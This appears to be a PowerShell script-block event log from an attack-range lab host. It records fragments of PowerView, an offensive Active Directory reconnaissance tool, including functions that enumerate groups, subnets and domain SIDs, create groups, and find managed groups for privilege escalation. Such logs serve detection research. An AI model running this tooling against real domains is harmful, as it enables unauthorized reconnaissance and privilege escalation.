$Filter += "$LDAPFilter" } $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() } else { $Results = $GroupSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $Group = $_ } else { $Group = Convert-LDAPProperty -Properties $_.Properties } $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') $Group } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" } } $GroupSearcher.dispose() } } } } function New-DomainGroup { <# .SYNOPSIS Creates a new domain group (assuming appropriate permissions) and returns the group object. TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to create a new DirectoryServices.AccountManagement.GroupPrincipal with the specified group properties. .PARAMETER SamAccountName Specifies the Security Account Manager (SAM) account name of the group to create. Maximum of 256 characters. Mandatory. .PARAMETER Name Specifies the name of the group to create. If not provided, defaults to SamAccountName. .PARAMETER DisplayName Specifies the display name of the group to create. If not provided, defaults to SamAccountName. .PARAMETER Description Specifies the description of the group to create. .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' Creates the 'TestGroup' group with the specified description. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred Creates the 'TestGroup' group with the specified description using the specified alternate credentials. .OUTPUTS DirectoryServices.AccountManagement.GroupPrincipal #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')] Param( [Parameter(Mandatory = $True)] [ValidateLength(0, 256)] [String] $SamAccountName, [ValidateNotNullOrEmpty()] [String] $Name, [ValidateNotNullOrEmpty()] [String] $DisplayName, [ValidateNotNullOrEmpty()] [String] $Description, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $ContextArguments = @{ 'Identity' = $SamAccountName } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $Context = Get-PrincipalContext @ContextArguments if ($Context) { $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context) # set all the appropriate group parameters $Group.SamAccountName = $Context.Identity if ($PSBoundParameters['Name']) { $Group.Name = $Name } else { $Group.Name = $Context.Identity } if ($PSBoundParameters['DisplayName']) { $Group.DisplayName = $DisplayName } else { $Group.DisplayName = $Context.Identity } if ($PSBoundParameters['Description']) { $Group.Description = $Description } Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'" try { $Null = $Group.Save() Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created" $Group } catch { Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_" } } } function Get-DomainManagedSecurityGroup { <# .SYNOPSIS Returns all security groups in the current (or target) domain that have a manager set. Author: Stuart Morgan (@ukstufus) , Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl .DESCRIPTION Authority to manipulate the group membership of AD security groups and distribution groups can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically used to delegate management authority to distribution groups, but Windows supports security groups being managed in the same way. This function searches for AD groups which have a group manager set, and determines whether that user can manipulate group membership. This could be a useful method of horizontal privilege escalation, especially if the manager can manipulate the membership of a privileged group. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv Store a list of all security groups with managers in group-managers.csv .OUTPUTS PowerView.ManagedSecurityGroup A custom PSObject describing the managed security group. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ManagedSecurityGroup')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname' } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989509 Keywords=None Message=Creating Scriptblock text (29 of 61): .Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $SearcherArguments = @{ 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid if ($DCSID) { $DCSID.SubString(0, $DCSID.LastIndexOf('-')) } else { Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'" } } function Get-DomainGroup { <# .SYNOPSIS Return all groups or specific group objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all group objects for the current domain are returned. To return the groups a specific user/group is a part of, use -MemberIdentity X to execute token groups enumeration. .PARAMETER Identity A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to query for. Wildcards accepted. .PARAMETER MemberIdentity A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the user/group member to query for group membership. .PARAMETER AdminCount Switch. Return users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER GroupScope Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for. Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations. .PARAMETER GroupProperty Specifies a specific property to search for when performing the group search. Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainGroup | select samaccountname samaccountname -------------- WinRMRemoteWMIUsers__ Administrators Users Guests Print Operators Backup Operators ... .EXAMPLE Get-DomainGroup *admin* | select distinguishedname distinguishedname ----------------- CN=Administrators,CN=Builtin,DC=testlab,DC=local CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local CN=Schema Admins,CN=Users,DC=testlab,DC=local CN=Enterprise Admins,CN=Users,DC=testlab,DC=local CN=Domain Admins,CN=Users,DC=testlab,DC=local CN=DnsAdmins,CN=Users,DC=testlab,DC=local CN=Server Admins,CN=Users,DC=testlab,DC=local CN=Desktop Admins,CN=Users,DC=testlab,DC=local .EXAMPLE Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl samaccountname -------------- Server Admins .EXAMPLE 'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local))) usncreated : 13245 grouptype : -2147483646 samaccounttype : 268435456 samaccountname : Desktop Admins whenchanged : 8/10/2016 12:30:30 AM objectsid : S-1-5-21-890171859-3433809279-3366196753-1118 objectclass : {top, group} cn : Desktop Admins usnchanged : 13255 dscorepropagationdata : 1/1/1601 12:00:00 AM name : Desktop Admins distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local whencreated : 8/10/2016 12:29:43 AM instancetype : 4 objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71 objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGroup -Credential $Cred .EXAMPLE Get-Domain | Select-Object -Expand name testlab.local 'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins))) distinguishedname ----------------- CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local .OUTPUTS PowerView.Group Custom PSObject with translated group property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.Group')] [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [Alias('UserName')] [String] $MemberIdentity, [Switch] $AdminCount, [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')] [Alias('Scope')] [String] $GroupScope, [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')] [String] $GroupProperty, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $GroupSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($GroupSearcher) { if ($PSBoundParameters['MemberIdentity']) { if ($SearcherArguments['Properties']) { $OldProperties = $SearcherArguments['Properties'] } $SearcherArguments['Identity'] = $MemberIdentity $SearcherArguments['Raw'] = $True Get-DomainObject @SearcherArguments | ForEach-Object { # convert the user/group to a directory entry $ObjectDirectoryEntry = $_.GetDirectoryEntry() # cause the cache to calculate the token groups for the user/group $ObjectDirectoryEntry.RefreshCache('tokenGroups') $ObjectDirectoryEntry.TokenGroups | ForEach-Object { # convert the token group sid $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value # ignore the built in groups if ($GroupSid -notmatch '^S-1-5-32-.*') { $SearcherArguments['Identity'] = $GroupSid $SearcherArguments['Raw'] = $False if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } $Group = Get-DomainObject @SearcherArguments if ($Group) { $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') $Group } } } } } else { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-Domai ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989508 Keywords=None Message=Creating Scriptblock text (28 of 61): ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(name=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['GPLink']) { Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property" $Filter += "(gplink=*$GPLink*)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $SiteSearcher.filter = "(&(objectCategory=site)$Filter)" Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() } else { $Results = $SiteSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $Site = $_ } else { $Site = Convert-LDAPProperty -Properties $_.Properties } $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site') $Site } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainSite] Error disposing of the Results object" } } $SiteSearcher.dispose() } } } function Get-DomainSubnet { <# .SYNOPSIS Search for all subnets or specific subnets objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all subnet objects for the current domain are returned. .PARAMETER Identity An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. .PARAMETER SiteName Only return subnets from the specified SiteName. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainSubnet Returns the current subnets in the domain. .EXAMPLE Get-DomainSubnet *admin* -Domain testlab.local Returns all subnets with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all subnets with linked to the specified group policy object. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainSubnet -Credential $Cred .OUTPUTS PowerView.Subnet Custom PSObject with translated subnet property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.Subnet')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $SiteName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $SubnetSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($SubnetSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $SubnetSearcher = Get-DomainSearcher @SearcherArguments if (-not $SubnetSearcher) { Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'" } } } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(name=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)" Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() } else { $Results = $SubnetSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $Subnet = $_ } else { $Subnet = Convert-LDAPProperty -Properties $_.Properties } $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet') if ($PSBoundParameters['SiteName']) { # have to do the filtering after the LDAP query as LDAP doesn't let you specify # wildcards for 'siteobject' :( if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) { $Subnet } elseif ($Subnet.siteobject -like "*$SiteName*") { $Subnet } } else { $Subnet } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_" } } $SubnetSearcher.dispose() } } } function Get-DomainSID { <# .SYNOPSIS Returns the SID for the current domain or the specified domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer .DESCRIPTION Returns the SID for the current domain or the specified domain by executing Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) to search for domain controllers through LDAP. The SID of the returned domain controller is then extracted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainSID .EXAMPLE Get-DomainSID -Domain testlab.local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainSID -Credential $Cred .OUTPUTS String A string representing the specified domain SID. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] [CmdletBinding()] Param( [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Management ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989507 Keywords=None Message=Creating Scriptblock text (27 of 61): yName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] [Alias('GUID')] $GPLink, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $OUSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($OUSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^OU=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 